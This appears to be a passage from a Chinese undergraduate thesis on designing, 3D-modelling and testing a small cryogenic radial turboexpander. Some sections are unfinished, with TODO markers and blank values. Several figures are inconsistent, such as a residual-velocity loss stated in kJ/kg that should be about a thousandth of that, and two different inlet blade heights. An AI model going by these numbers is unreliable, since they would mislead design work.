  15. 工作轮出口实际比焓 $$ i_2 = i_{2s}’’ + q_r = 84.902 kJ/kg $$

  16. 由 $ p_2, i_2 $ 从 i-s 图可查得,工作轮出口实际温度 $$ T_2 = 87.602 K $$

  17. 由 $ p_3、T_2 $ 从 Z-p 图中可查得 $$ Z_2 = 0.96540 $$

  18. 工作轮出口实际气体密度 $$ \rho_2 = \frac {p_3} {Z_2 R_g T_2} = 4.5289 kg/m^3 $$

  19. 工作轮出口气流的绝对速度方向 $$ \tan {\alpha_2} = \frac {\sin {\beta_2}} {\cos {\beta_2} - \frac {u_2} {w_2}} = 47.215 $$

    $$ \alpha_2 = 88.787 ^\circ $$

  20. 工作轮出口气流绝对速度 $$ c_2 = \frac{w_2 \sin {\beta_2}} {\sin {\alpha_2}} = 57.494 m/s $$

  21. 余速损失 $$ q_K = \frac {c_2^2} {2} = 1652.8 kJ/kg $$ $$ \xi_K = \frac {q_K} {h_s’} = 0.037683 $$

  22. 流道效率 $$ \eta_u = 1 - \xi_N - \xi_r - \xi_K = 0.86041 $$

通过上述计算所得的速度三角形数据如下表

字母 说明
$ \alpha_1 $ $ 16.076 ^\circ $ 工作轮进口气流角
$ c_1 $ $ 203.05 m/s $ 工作轮进口实际速度
$ u_1 $ $ 195.48 m/s $ 工作轮进口圆周速度
$ \beta_1 $ $ 90.317^\circ $ 工作轮进口相对气流角
$ w_1 $ $ 56.037 m/s $ 工作轮进口相对速度
$ \alpha_2 $ $ 88.787 ^\circ $ 工作轮出口气流角
$ c_2 $ $ 57.494 m/s $ 工作轮出口实际速度
$ u_2 $ $ 97.347 m/s $ 工作轮出口圆周速度
$ \beta_2 $ $ 30.25 ^\circ $ 工作轮出口相对气流角
$ w_2 $ $ 114.10 m/s $ 工作轮出口相对速度

喷嘴与工作轮基本尺寸的确定#

  1. 工作轮直径 $$ D_1 = \sqrt {\frac {q_m} {\pi (\frac {l_1} {D_1}) w_1 \sin {\beta_1} \rho_1 \tau_1}} = 0.051799 m $$

    圆整后取 $$ D_1 = 50 mm $$ 这时 $$ \frac {l_1} {D_1} = \frac {q_m} {\pi D_1^2 w_1 \sin {\beta_1} \rho_1 \tau_1} = 0.042930 $$

  2. 喷嘴出口直径 $$ D_N = D_1 + 2 \Delta_1 = 52 mm $$ 这里按固定叶片设计,因此取喷嘴与工作轮之间的径向间隙较小。如果采用转动喷嘴叶片调节,就必须加大间隙,由调节要求确定。

  3. 喷嘴数 $ Z_N $ 在固定叶片中可按下图选取,这里选取 $ Z_N = 23 $。

    喷嘴数与叶片安装角的关系

  4. 喷嘴喉部宽度

    $$ b_N \approx \tau_N t_N \sin {\alpha_1’} = \frac {\pi D_N} {Z_N} \tau_N \sin {\alpha_1’} = 1.9186 mm $$

  5. 喷嘴叶片高度

    $$ l_N = \frac {q_m} {\rho^\ast c^\ast b_N Z_N} = 2.0656 mm $$

  6. 工作轮进口叶片高度 $$ l_1 = l_N + \Delta l = 3.7656 mm $$,这里取过盖度 $ \frac {\Delta l} {\Delta_1} = 1.7 $(一般约为 $ 1.7 \sim 1.9 $ ),$ \Delta l = 1.7 \Delta_1 = 1.7 mm $,因此 $ \frac {l_1} {D_1} = 0.075313 $,较大于原估取值,这里不再重新计算。

  7. 工作轮出口平均直径 $$ D_{2m} = \mu D_1 = 24.900 mm $$

  8. 工作轮出口截面积(本题未考虑内部损失对 $ \rho_2 $ 的影响)

    $$ A_2 = \frac {q_m} {w_2 \sin {\beta_2} \rho_2 \tau_2} = 0.00074753 m^2 $$

  9. 工作轮出口内径

    $$ D_2’’ = \sqrt{D_{2m}^2 - \frac {2 A_2} {\pi}} = 12.005 mm $$

  10. 轮毂比 $$ k_r = \frac {D_2’’} {D_1} = 0.24010 $$ 与原取值相差不多,一般 $ k_r = 0.2 \sim 0.3 $

  11. 工作轮出口外径

    $$ D_2’ = \sqrt{D_{2m}^2 + \frac {2 A_2} {\pi}} = 33.104 mm $$

  12. 出口叶片高度 $$ l_2 = \frac {D_2’ - D_2’’} {2} = 10.550 mm $$

  13. 进出口叶片平均高度 $$ l_m = \frac {l_1 + l_2} {2} = 7.1577 mm $$

  14. 轴向间隙比 $$ \frac {\delta} {l_m} = 0.013971 $$ 与原取值相差不多,这里取轴向间隙 $ \delta = 0.1 mm $

  15. 工作轮子午面扩散角

    $$ \theta = \arctan {\frac {2 (l_2 - l_1)} {D_1 - D_{2m}}} = 28.394 ^\circ $$

内部损失计算#

  1. 轮背摩擦损失

    1. 由 $ T_1, p_1 $ 可查得空气的动力粘度 $$ \eta_1 = 0.0000077599 Pa \cdot s $$

    2. 运动粘度 $$ \nu_1 = \frac {\eta_1} {\rho_1} = 9.3812 \times 10^{-7} m^2/s $$

    3. 以喷嘴出口参数定型的雷诺数 $$ Re = \frac {u_1 D_1} {\nu_1} = 1.0419 \times 10^7 $$

    4. 轮背摩擦系数 $$ \zeta_f = \frac {12.87} {10^3} \frac {1} {\sqrt[5]{Re}} = 0.00050818 $$ 此值与原估取值相差不多。

    5. 轮背摩擦功率 $$ P_B = K \zeta_f \rho_1 u_1^3 D_1^2 = 313.98 W $$ 这里对半开式工作轮取 $ K = 4 $

    6. 单位轮背摩擦损失 $$ q_B = \frac {P_B} {q_m} = 2.0819 kJ/kg $$

    7. 相对轮背摩擦损失 $$ \xi_B = \frac {q_B} {h_s’} = 0.047466 $$

  2. 内泄漏损失

    $$ \xi_l = 1.3 \frac {\delta} {l_m} (\eta_u - \xi_B) = 0.017966 $$

    $$ q_l = \xi_l h_s’ = 0.788 kJ/kg $$

  3. 按通流部分焓降计算的等熵效率

    $$ \eta_s’ = 1 - (\xi_N + \xi_r + \xi_K + \xi_l) = 0.84244 $$

  4. 进入扩压器时气体的比焓

    $$ i_2’ = i_4 = i_2 + q_B + q_l = 87.772 kJ/kg $$

  5. 进入扩压器时气体由 $ p_3, i_2’ $ 可查得 $$ T_2’ = T_4 = 90.111 K $$

扩压器中的流动#

  1. 扩压后气体流速

    $$ c_3’ = \sqrt {c_2^2 - \frac {2 \kappa} {\kappa - 1} Z_2’ R_g T_2’ \left [(\frac {p_2} {p_3}) ^ {\frac {n - 1} {n}} - 1 \right ] } = 7.9419 m/s $$

    符合一般的要求范围 $ c_s’ = 5 \sim 10 m/s $,这里估取 $ \eta_K = 0.61 $

    因此

    $$ \frac {n - 1} {n} = \frac {1} {\eta \kappa} \frac {\kappa - 1} {\kappa} = 0.46838 , n = 1.8811 $$

  2. 扩压器出口气体密度 $$ \rho_3’ = \rho_5 = (\frac {p_2} {p_3})^{\frac {1} {n}} \rho_2 = 4.6243 kg/m^3 $$

  3. 扩压器出口温度 $$ T_3’ = T_5 = (\frac {p_2} {p_3}) ^ {\frac {n - 1} {n}} T_2’ = 91.782 K $$

  4. 由 $ p_2, T_3’ $ 从 i-s 图可得扩压器出口实际比焓 $ i_3’ = i_5 = 89.484 kJ/kg $

  5. 扩压器进口气体密度 $$ \rho_2’ = \frac {p_3} {Z_2’ R_g T_2’} = 4.2334 kg/m^3 $$

  6. 扩压器出口比焓校核 $$ i_5 = i_2 + q_B + q_K + q_l = 89.425 kJ/kg $$

  7. 扩压器进口直径

    为了使从工作轮排出的气流平滑过渡到扩压器,一般使扩压器进口直径等于工作轮出口外径,即 $$ D_K = D_2’ = 33.104 mm $$

  8. 导流螺帽直径

    为了使工作轮排出的气流不至于突然减速,一般都在工作轮端加装导流螺帽,其直径等于工作轮出口内经,即 $$ d = D_2’’ = 12.005 mm $$

  9. 扩压器出口直径 $$ D_3 = \sqrt {\frac {4 q_m} {\pi c_3’ \sin {\alpha_2} \rho_3’}} = 72.317 mm $$

  10. 扩压器长度 $$ L = \frac {D_3 - D_K} {2 \tan {\alpha_K}} = 139.51 mm $$

蜗壳型线的确定#

// TODO

  1. 采用等宽度 $ B $ 的矩形截面 $$ R’ = R_0’ \exp {\frac {\theta q_m} {2 \pi \rho_0 K B}} $$ 已知 $ R_0’ = mm, q_m = kg/s, \rho_0 = kg/m^3 $

  2. 取 $ b_0 = l_N / 0.12 = mm, a = mm $

  3. 取进口气流速度 $ c_0 = m/s $ 则进口截面积 $$ A_0 = \frac {q_0} {c_0 \rho_0} = m^3 $$

  4. 进口处外轮廓线半径 $$ R’ = R_0’ + \frac {A_0} {b_0} $$

  5. 由此可求得常数 $$ K = \frac {\theta q_m} {2 \pi \rho_0 b_0 \ln {\frac {R’} {R_0’}}} = $$

  6. 计算蜗壳外轮廓线坐标如下表 TODO,其图形如图 TODO 所示。

    图中子午剖面型线图已把每个角度上的断面形状重叠在一个位置上,编号分别代表角度

效率、制冷量、功率和转速#

  1. 等熵效率 $$ \eta_s = \frac {i_0 - i_5} {i_0 - i_{2s}} = 0.82125 $$

  2. 制冷量 $$ Q_0 = \eta_s h_s q_m = 5.329 kW $$

  3. 轴功率 $$ P_T = \eta_e h_s q_m = 5.116 kW $$

  4. 转速 $$ n = \frac {60 u_1} {\pi D_1} = 74667 r/min $$

小结#

上述内容是基本计算过程,计算公式太多了,部分计算公式的计算顺序是倒序的。总之,种种原因导致,阅读上述计算公式,并不容易理解计算过程,下面我们来分析一下计算过程。

我们的目的是设计一个透平膨胀机,设计内容包括以下部分:透平膨胀机的进口蜗壳、喷嘴、工作轮、出口扩压器共 4 部分。已知条件是蜗壳进口处的温度、压力扩压器出口的压力,以及通过整套装置的流量。总而言之,这套装置的要求是整机的进出口状态,而并非工作轮进出口状态。

尽管蜗壳、喷嘴和扩压器都对空气参数有影响,但是我们也不得不首先设计工作轮,工作轮中的参数变化是最关键的一部分。由于这是个多变量最优化问题,实际问题中的变量更多,如果没有大量的实验,用实实在在的数据来证明的话,我们没法找到全局最优解。目前的想法是先设计工作轮,然后再调整其他部分来满足需要,认为工作轮的影响最显著,其他几个变量的影响较小,并且可调性较高。

喷嘴及工作轮的设计思路:首先我们需要忽略进口蜗壳的影响,然后假定扩压器中有 1.04 的扩压比,原本的 5 个关键截面减少到了 3 个,原来有蜗壳进口(即整机进口)、喷嘴进口、工作轮进口(即喷嘴出口)、工作轮出口(即扩压器进口),扩压器出口(即整机出口),现在减少为喷嘴进口、工作轮进口、工作轮出口并将其依次标为 $ 0, 1, 2 $ 截面。整机进口变为喷嘴进口,整机出口变为工作轮出口。

可以注意到,我们设计的扩压比很小,这么小的扩压比对压力的确没有什么影响。把扩压比设为 1 的话,影响也不大,理论上相当于不安装扩压器,实际上类似于直接在叶轮出口接了一个直管,而不是渐扩的管。有这么一个小小的扩压比,工作轮出口的压力会被渐扩流道形状影响,工作轮出口压力会低于设计压力,会略微提高叶轮中的压差。也是有用处

为什么要使用扩压器?如果不用扩压器的话,出口直接通过圆柱形管道排出气体会怎样?通常透平膨胀机出口的气流流速仍然很高,这样高流速的气流直接在管道中流动会导致很大的摩擦损失,从而导致冷量减少。

既然高速流动会导致摩擦损失,那喷嘴和工作轮中的流速比出口还高,这怎么办呢?工作轮中的部分很短,并且工作轮内的流动损失是不可避免的,膨胀机想做对外功多就要有高流速推动工作轮高速旋转,所以不能减少工作轮中的流速,只能控制在一个恰当的大小。

和使用高压线使用高电压、低电流减少发热功率的想法一样,气体在低压时流速大,高压时就会流速小。在质量流量一定的情况下,密度越大,体积流量就越小。扩压器就是将低压、低密度、高流速的气体变成较高压、较高密度、低流速的气体的部件,整个过程是将气体的动能转化为压力势能的过程。这里需要注意,如果不安装扩压器,工作轮出口直接就是出口压力,如果安装扩压器之后,扩压器出口是出口压力,工作轮出口的压力会低于出口压力。

扩压器一般为简单椎体,为避免扩压过程产生过大逆压梯度,导致壁面流动分离,扩压角不应超过 $ 6^\circ \sim 8^\circ $。

这个扩压比会直接对应一个关键的参数——扩压器效率,根据公式 $$ i_3’ - i_2’ = \frac 1 2 (c_{2’}^2 - c_{3’}^2) = \frac {\kappa} {\kappa - 1} Z_2 R T_{2’} \left [(\frac {p_2} {p_3})^{\frac {n_k - 1} {n_k}} \right ] $$ 式中 $$ \frac {n_k} {n_k - 1} = \eta_k {\kappa} {\kappa - 1} $$ $ \eta_K $ 为扩压器效率,一般 $ \eta_k = 0.6 \sim 0.7 $

根据上式可以看出,当进出口流速、比体积确定时,扩压器效率越高,扩压比越高,如果 // TODO

  1. 喷嘴中的流动(0 截面 - 1 截面过程)

简化后 $ p_0, T_0 $ 为已知条件

首先我们认为

TODO

喷嘴和工作轮中的热力计算过程演示

喷嘴和工作轮中的速度计算过程演示

喷嘴和工作轮中的尺寸计算过程演示

叶轮构型计算及三维建模#

喷嘴叶片型线的选定及叶片的配置#

  1. 选用 TC-2P 型径向叶型

  2. 选用相对跨距 $ l_N = 0.60 $,这时喷嘴叶片出口跨距 $$ t_N = \frac {\pi D_N} {Z_N} = 7.1027 mm $$ 弦长 $$ b = \frac {t_N} {l_N} = 11.838 mm $$

  3. 根据 TC-2P 叶型的试验数据,当 $ l_N = 0.60 $ 时,为了保证出口角 $ \alpha_1’ = 16^\circ $,要求叶片安装角 $ \alpha_{1A} = 33^\circ $

    TC-2P 叶型数据

  4. 喷嘴叶片外径 $$ D_0 \approx 2 \sqrt {R_N^2 + (ab)^2 + 2 (ab) \sin {\alpha_{1A}} R_N} = 69.904 mm $$

  5. 由所得的 $ b $ 值按所选叶型的相对坐标作出叶型图形,由所得叶型图及安装角 $ \alpha_{1A} $ 可以配置喷嘴叶片如下图所示。这时以叶尖出口点 A 为圆心,以计算所得的喷嘴喉部宽度 $ b_N $ 为半径,所做圆弧应与叶型图背弧线相切。否则应重新修正 $ l_N $ 值。

    喷嘴布置

  6. 考虑到从蜗壳到喷嘴叶片的过渡,取喷嘴环的直径 $ D_0’ = mm $

工作轮形状的确定#

  1. 已知 $ D_1 = 50.000 mm, D_2’ = 33.104 mm, D_2’’ = 12.005 mm, l_1 = 2.9562 mm, \beta_1’ = 90^\circ, \beta_2’ = 30^\circ15’ $

  2. 工作轮叶片数 $ Z_r = 14 $ 片

  3. 叶片进口处厚度 $ \delta_1 = 0.01 D_1 = 0.5 mm $

  4. 叶型部分轴向宽度 $ B_R = 0.3 D_1 = 15 mm $

  5. 导向段出口叶片平均跨度 $$ t_{2m} = \frac {\pi (D_2’ + D_2’’)} {2 Z_r} = 5.0587 mm $$

  6. 导向段轴向宽度 $ B_D = \frac {t_{2m}} {0.77} = 6.5697 mm $

  7. 轮盘基线进口倾斜角 $ \theta_1 = 4.5 ^\circ $;进口段直线长度先估取为 $ 0.15 D_1 = 7.5 mm $,要看子午面型线变化而调整。

  8. 出口轮毂段直线的倾斜角 $ \theta_2 = 0^\circ $;出口直线段长度取为 $ 0.5 B_D = 3.2849 mm $,要根据 $ R_B $ 调整。

  9. 轮盘基线中部圆弧半径 $ R_B = 0.22 D_1 \approx 11 mm $

  10. 工作轮叶片顶线圆弧半径 $ R_G’ = D_1 = 50 mm $;$ R_G’’ = 0.11 D_1 \approx 5.5 mm $

  11. 按上述几何尺寸可作出工作轮轮盘子午面上的基线,此基线的回转面即为流场的基面。

  12. 然后根据 $ l_1, l_2 $ 及流道的光滑过渡要求,用作图法最后确定 $ R_G’, R_G’’ $。

  13. 以轴线为中心的等直径圆柱面上导流段的曲线可按二次抛物线方程 $ y = \frac {x^2} {2p} $ 确定,而

    $$ p = B_D \tan {\beta_2} = 6.5731 \tan {\beta_2} $$

    $$ \tan {\beta_2} = \frac {c_{2r}} {u_2 - c_{2u}} = \frac {c_2} {u_2} = \frac {57.494} {u_2} $$

    按 $ c_2 = 57.494$ 为不变值,$ u_2 $ 与半径 $ R_2 $ 成正比,$ u_{2m} = 97.35 $ 已知代入计算,可得到该抛物线的坐标如下表。

出口导流段的坐标

$ R_2 $ $ R_2’’ = 6 $ 9 $ R_{2m} = 12.45 $ 14.5 $ R_2’ = 16.55 $
$ u_2 $ (m/s) 46.91 70.37 97.35 113.38 129.41
$ \tan {\beta_2} $ 1.23 0.82 0.59 0.51 0.44
$ \beta_2 $ ($ ^\circ $) 50.79 39.25 30.57 26.89 23.96
$ p $ (mm) 8.06 5.37 3.88 3.33 2.92
$ x = 0 $ 处的 $ y $ (mm) 0 0 0 0 0
$ x = 2 $ 处的 $ y $ (mm) 0.25 0.37 0.52 0.60 0.68
$ x = 4 $ 处的 $ y $ (mm) 0.99 1.49 2.06 2.40 2.74
$ x = 6 $ 处的 $ y $ (mm) 2.23 3.35 4.64 5.40 6.16
$ x = 6.57 $ 处的 $ y $ (mm) 2.68 4.02 5.56 6.48 7.40

下图给出了工作轮出口角 $ \beta_2 $ 与半径 $ R_2 $ 的关系。

工作轮出口角与半径的关系

下图给出了每一个 $ R_2 $ 的圆柱面上导流段曲线的坐标 x, y 曲线。

不同半径处导流段曲线形状

下图给出了最内与最外两个半径处的导流段曲线对比,每个半径处绘制出了相邻的两个曲线。

导流段最内与最外的两条曲线对比

设计参数#

几何参数 单位 数值
工作轮直径 mm 50
轴向长度 mm 15
进口叶高 mm 3.0
进口安装角 deg 4.5
叶片数 / 14
叶片厚度 mm 0.5
轮毂直径 mm 12.0
出口外径 mm 33.1
导向段轴向宽度 mm 6.57

造型方法#

根据上述数据,通过 UG 建模如下。

首先绘制工作轮基体草图。绘制轴中心线、出口处轴半径线、轮背半径线、轮背进口倾斜角线,然后绘制出口处轴向段的线段,最后使用倒圆连接出口处轴向段和轮背进口倾斜角线。然后旋转一周形成基体。

工作轮基体草图

然后绘制叶片外径型线草图。绘制轴流段直线段,绘制工作轮进口叶片高度线段,通过两个相切的圆连接两段线段,这个圆的位置有一个参数未知,是根据流道宽度近似变化通过作图法确定的。旋转出一个面备用。

工作轮叶顶线草图

然后导入前面列出的出口导流段特征点,通过样条曲线连接,将曲线投影到相应半径的旋转面上。然后新建通过曲线组。

工作轮出口型线

使用通过曲线网格构建平直叶片的基面,使用加厚构建叶片,然后使用布尔运算相交将超出叶轮旋转区域的叶片移除掉,形成一个叶片。

工作轮叶片

最后使用旋转阵列形成完整的叶轮。

最终叶轮

实验平台搭建和初步试验研究#

实验探究是研究流体流动机理、推动研究进展最基础最重要的手段,具有不可替代的作用,通过实验研究,可以确定所设计的透平膨胀机的实际性能,对理论和模拟结果进行进一步验证,也可了解透平膨胀机在实际运行过程中的降温过程以及可能出现的问题。本文针对所设计透平膨胀机搭建了一套实验平台,并在该实验平台上对膨胀机的性能进行初步试验研究。

本文的低温透平膨胀机的实验台系统主要包括三部分:气路系统,制冷系统和数据采集系统。本文所设计的两套实验系统的气路系统和数据测量与采集系统相似,制冷系统有所区别,下面将分别详细介绍。

气路系统#

气路系统包括压缩机、冷干机、再生分子筛、储气罐、空气过滤器、阀门、流量计、压力表等组成。它的主要作用有:

  1. 为气体轴承提供约 $ 0.5MPa $ 的轴承气
  2. 为膨胀机提供干燥洁净的空气

气路系统的稳定运行,为制冷系统提供稳定、干燥、洁净的空气对制冷系统的稳定运行有着巨大的影响,在本文的实验过程中就层出现由于气路系统故障导致透平进口空气带液,进而使制冷系统出现故障的情况,因此设计一套合理的气路系统,并在实验前确定膨胀机进口的空气状况是整套实验系统顺利运行的保障。

气路系统

详细的气路系统流程图如上图所示,空气压缩机是气路系统的关键部件,本试验台采用阿特拉斯 GA75 型螺杆压缩机,可以提供最大 600 和最高压力 1.3 MPa 的洁净空气,压缩机运行的实时参数通过一台电脑显示和控制。本文的透平膨胀机设计工作最低温度达到 -180℃,最高转速达到 160000,这些都对透平进口空气的干燥度和洁净度提出了很高的要求,因此在压缩机进口安装空气过滤器,清除空气中的颗粒杂质,压缩机出口的空气依次进入冷干机、分子筛、清除空气中的水分,然后进入储气罐,起到缓冲高速来流的作用,储气罐出口加装精密过滤器,进一步净化空气,在气路系统末端安装压力表、阀门和流量计,控制轴承气的压力和进入膨胀机的气量。

压缩机系统#

制冷系统是本文实验台建设的关键部分,主要包括:透平膨胀机,保温冷箱,板翅换热器以及管路阀门等。

透平膨胀机是我们主要研究对象,也是整个制冷系统最核心的部件。透平膨胀机的整机实物如下图所示,主要部件包括蜗壳、喷嘴、工作轮和扩压器。

透平膨胀机实物

下图分别是实验中所使用的喷嘴和工作轮的实物图,喷嘴和工作轮是透平膨胀机的核心部件,其设计的优劣将决定整个膨胀机的性能。其中喷嘴设计了两种叶片,分别是直线圆弧叶片和叶型叶片,经过数值模拟和初步的实验比较,结果显示直线圆弧叶片的性能在本文所用的透平膨胀机中性能略优于叶型叶片。因此在最终实验中,我们选择直线圆弧叶片。工作轮我们设计了在低温领域普遍使用的半开反动式径-轴流式工作轮,工作轮进口叶片角 90°,出口叶片角 30°。(注意:实验所使用的喷嘴与设计的并不相同)

喷嘴实物图

工作轮实物图

为了更加全面的分析所设计的透平膨胀机的性能,我们设计了两套制冷系统。两套制冷系统所用的透平膨胀机相同,区别在于一套不带回热器,透平进口空气直接通过换热器与液氮换热,实现快速降温,达到所需要的温区,然后再进入透平进行膨胀;另一套带回热器,透平进口空气通过回热器与透平出口空气换热,逐级降温。两套实验系统各有优劣,下面我们将逐一介绍。

下图是带回热器的制冷系统的流程图,膨胀机进口空气是通过一个板翅式回热器与膨胀机出口低温空气进行换热,回收冷量,逐渐降低膨胀机进口空气温度,如此循环往复,可以获得极低的膨胀机出口温度。回热器的效率和膨胀机的性能都会对最终所能达到的最低温度有重大影响,提高回热器效率可以提高制冷系统的性能,获得更低的降温温度。本文的回热器采用锯齿形翅片的板翅换热器,总体结构尺寸为:$ 1700 \times 200 \times 183 $ 。

带回热器的制冷系统的流程图

冷箱采用真空多层绝热,内外夹层包裹防辐射屏,并抽真空,减少跑冷损失。

数据测量与采集系统#

本文的两套实验台的数据采集系统相似,主要测量的数据包括:透平流量、转速、透平进口空气温度压力、透平出口空气温度压力,对于带回热器的实验系统还需测量空气进回热器的进口温度压力和空气最终流出回热器时的温度压力。本实验系统中的温度和压力测量点主要在各主要部件的进、出口,主要的采集仪器介绍如下。

温度的测量#

本文实验中所有的温度都采用 PT100 标准铂电阻来测量,PT100 铂电阻具有抗振动、稳定性好、精度高、耐高压等优点,应用非常广泛,测量温度范围 -200℃ ~ 200℃ ,0℃ 阻值 100Ω,安装方式为贴片式,使用粘性铝箔将 PT100 直接贴在测温点的外围管壁上。

压力的测量#

本文实验中带回热器的实验台的压力采用压力表测量,精度一般,但安装简单,不用通电,尤其对于轴承气管路来说,采用压力表测量压力可以在电路故障时还能及时了解轴承气压力。不带回热器的实验台的压力采用日本生产的SMC压力传感器进行测量,实物如下图所示。SMC 压力传感器是用来测量探头与被测物体之间相对静态和动态位移的一种非接触式传感器,灵敏度高、测量范围宽、抗干扰能力强。

SMC 压力传感器

流量的测量#

本文实验测量流量选用 SMC 流量计,测量范围为 600 ~ 12000 ,测量精度为 ,工作压力小于 1 MPa,精确方便,安装在保温冷箱外透平进口管道上,通过阀门控制流量,流量计实时测量和显示流量,下图是安装在管路中的流量计实物图。

SMC 流量计

转速的测量#

本文透平膨胀机选用气体轴承来支撑其转动,因此轴心轨迹将很好的反映透平轴承的转动情况,在这里我们选用电涡流位移传感器来进行转速的测量,同时还能显示透平轴承的轴心轨迹。电涡流位移传感器是基于涡流效应的原理制成的非接触式位移传感器.该传感器由探头、加长电缆、前置器组成一套用来测量旋转机械轴的各种运行状态参数:如轴的径向振动、轴向位移、转速、偏心、差胀等,电涡流位移传感器实物图如下图所示。

电涡流位移传感器

初步试验研究#

利用上述搭建的的透平膨胀机性能研究实验系统,进行透平膨胀机在降温过程中以及低温下的实验性能的研究,主要的研究的内容有:透平膨胀机的降温曲线,透平膨胀机转速、流量与膨胀比的关系,并对实验曲线与数据进行了初步分析,对透平的性能有一个更加全面的认识。

降温曲线#

透平进出口温度降温曲线

上图是透平进出口降温曲线,从图中我们可以看出,整个降温过程持续约 4 小时,最低温度降低到 -170 ℃ 时,温度趋于稳定。透平出口所能达到的最低温度受膨胀机效率和回热器效率的共同影响,但是其温度变化均匀稳定。实验初始时透平进口温度变化缓慢,而出口温度变化相对比较迅速,这主要是由于初始回热器处于常温状态,同时回热器体积较大,需要一段时间进行热容的释放,因此膨胀机进口温度变化较为缓慢,而膨胀机出口温度取决于进口温度、膨胀比、膨胀机效率,出口温度响应较快。实验初始时透平进出口温差较小,这主要是由于初始时进口绝对压力只有 0.3 MPa,远低于设计的压力,工质在透平膨胀机内得不到充分膨胀。随着进口压力不断提高,透平进出口温差逐渐增大,温度下降速度也有所提高,当进口绝对压力达到 0.7 MPa 时,保持压力不变,此时随着温度不断下降,由于空气低温低焓降的特性,温度下降速度开始变缓慢,直至最终趋于基本稳定。

膨胀机性能初步研究及分析#

下图给出了透平流量和转速随进口压力变化的关系,从图中可以看出,随着透平进口压力的不断上升,流量和转速都有很明显的提高,其中转速提高的趋势随着进口压力的上升变缓,透平进口压力从 0.6 MPa 增加到 0.7 MPa,转速仅从 123000 提高到 124500 ,基本趋于稳定,而流量提高的趋势随着进口压力的上升变陡,透平进口压力越高,流量提高的速度越快。(注意:实际转速与设计转速不同,工作轮和设计工作轮仍有较大差距)

透平流量和转速随进口压力的变化

结论与展望#

结论#

本文完成了给定的设计要求,利用透平膨胀机的一维设计理论,给出一套自动透平膨胀机的热力计算程序,最终得到了完整的设计参数。选取轮径比 $ \mu = 0.498 $,反动度 $ \rho = 0.49 $,特性比 $ \bar{u}_1 = 0.66 $,喷嘴出口叶片角 $ \alpha_1’ = 16^\circ $,工作轮进口叶片角 $ \beta_1’ = 90^\circ $,工作轮出口叶片角 $ \beta_2’ = 30^\circ15’ $ 的透平膨胀机,计算出工作轮直径为 50 mm,设计等熵效率为 0.82,设计制冷量为 5.33 kW,出口扩压器长度为 139.51 mm。

基于上述设计参数,对工作轮的子午面、叶片型线进行设计。设计工作轮的叶片数 $ Z_r = 14 $,轴向总宽度 $ B_R = 15 mm $,导向段轴向宽度 $ B_D = 6.57 mm $,出口外径 $ D_2’ = 33.10 mm $,出口内径 $ D_2’’ = 12.00 mm $,进口叶片高度 $ l_1 = 2.96 mm $。根据出口相对速度与圆周速度匹配,以二次曲线方式绘制了出口导流段的型线,并且通过三维建模软件给出工作轮最终的三维模型。

本文还搭建了一套高速透平膨胀机综合测试实验台,基于实验室部分已有实验台的基础,对以实验室现有条件为支撑的透平膨胀机进行初步实验研究。实验测定了整套透平膨胀机制冷系统的降温曲线,降温过程持续约 4 小时,最低温度降低到 -170℃,不能达到设计出口温度,经分析可能是因为回热器的性能不足,导致进口温度达不到给定进口温度。另外还进行了膨胀机性能初步研究及分析实验,实验中改变膨胀机进口处压力,测量平衡状态下的流量与转速。透平流量和转速均随进口压力的增加而增加,转速在 0.6 MPa 以上变化较小,几乎不再增加,而流量在实验工况范围内,呈逐渐增加趋势,没有显现出有上限的迹象。

展望#

本文针对小型高速透平膨胀机进行了设计以及实验研究,在此过程中得到了一些结论并积累了一些经验,此外,由于时间和能力有限,还有许多研究需要深入,其中主要有以下几个方面:

  1. 可以对本文所设计研究的高速透平膨胀机叶轮进行数值优化分析,进一步提高其工作性能。

  2. 对高速透平膨胀机进行更深入的试验研究,由于本次研究时间周期短,搭建实验台的过程中由于工程经验不足导致只取得了非常有限的实验数据,下一步可以进行详细的试验研究。

  3. 虽然现在有高精度的数值模拟,但是在没有实验验证的前提下,数值计算的可信度并不高。数值计算中需要考虑主要因素,忽略其余部分次要因素,但实际情况下,可能在高速或者低温等非常规工况下,次要因素上升为主要因素。数值计算有至少一组解与已知实验相吻合,那么数值计算将具有说服力。自然科学是一门实验性科学,脱离了实际物质变化规律的理论是没有意义的。

    未来对于这类多变量、多中间因素的计算问题,可以尝试引入机器学习或深度学习,通过积累大量实验数据,深度学习可以通过隐藏层的方式来猜测结果与输入变量之间的多层公式、多层的中间变量,这应该是未来的一个研究方向。通过传统的计算公式,很多因素是无法考虑进去的,例如摩擦系数。可能我们假定的摩擦系数可能并不准确,但是通过深度学习的预测,任何可能的因素都会是中间因素,当结果与计算不符时,神经网络会调整这部分的系数(反馈),使其与结果尽量接近,最终我们可以提取每个节点的系数,与传统一维计算方法相比较,并对其进行修正。

致谢#

时光荏苒,岁月如梭,四年的本科生学习生活就要落下帷幕,我也即将告别美好而又难忘的学生生涯。回首这一路走来经历的点点滴滴,我收获了太多,成长了太多,也有太多的人值得我去感谢和铭记!

首先,我要向我的指导教师同时也是班主任 XXX 副教授表示最真挚的感谢,感谢他在教学知识上上给予我耐心的指导。同时,在此次毕业设计过程中我也学到了许多了关于透平膨胀机方面的知识,实验技能有了一定的提高。这项毕业设计任务让我可以接触到一个在大学的课堂上接触不到的领域,让我看到了我们所学专业在课堂外的另一面,也让我第一次推开了工程热物理学科实际应用的大门。

感谢 XXX 学长以及 XXX 等同学对我的无私帮助,使我得以顺利完成论文。再次感谢我的舍友,四年的时光有你们陪我走过!感谢 XXX、XXX、XXX、XXX 等同学在平时学习生活中给予我的帮助,本科学习生涯道路艰辛却充满美好的回忆!感谢我的辅导员 XXX 对我学习和工作的支持,愿我们继续前行,一起走以后的人生路!

最后,我要向我的母校表示感谢,向我的亲人表示感谢。感谢母校对我的培养,交大精神已深留我心。感谢我的父母多年来对我的养育之恩,感谢我的亲人对我的关心,你们的支持是我前行最大的动力。

感谢一直陪伴在我身边的人,谢谢你们!

感谢一直陪伴在我身边的每一个人,谢谢你们!谨以此致谢,路还长,唯勤勉能行!

参考文献#

  1. 计光华. 透平膨胀机. 西安:西安交通大学. 2018
  2. Turboexpander. https://en.wikipedia.org/wiki/Turboexpander . 2019.5.8
  3. 赵红利, 侯予, 习兰, 等. 回冷式逆布雷顿空气制冷机的试验分析[J], 西安交通大学. 哈尔滨工业大学学报, 2009.5
  4. 赵红利, 侯予, 陈汝刚, 等. -120℃小型逆布雷顿空气制冷机性能的试验研究[J]. 西安交通大学. 西安交通大学学报, 2007.8

附录#

计算程序#

外文文献翻译#

Cookie, Session, Local Storage 演示

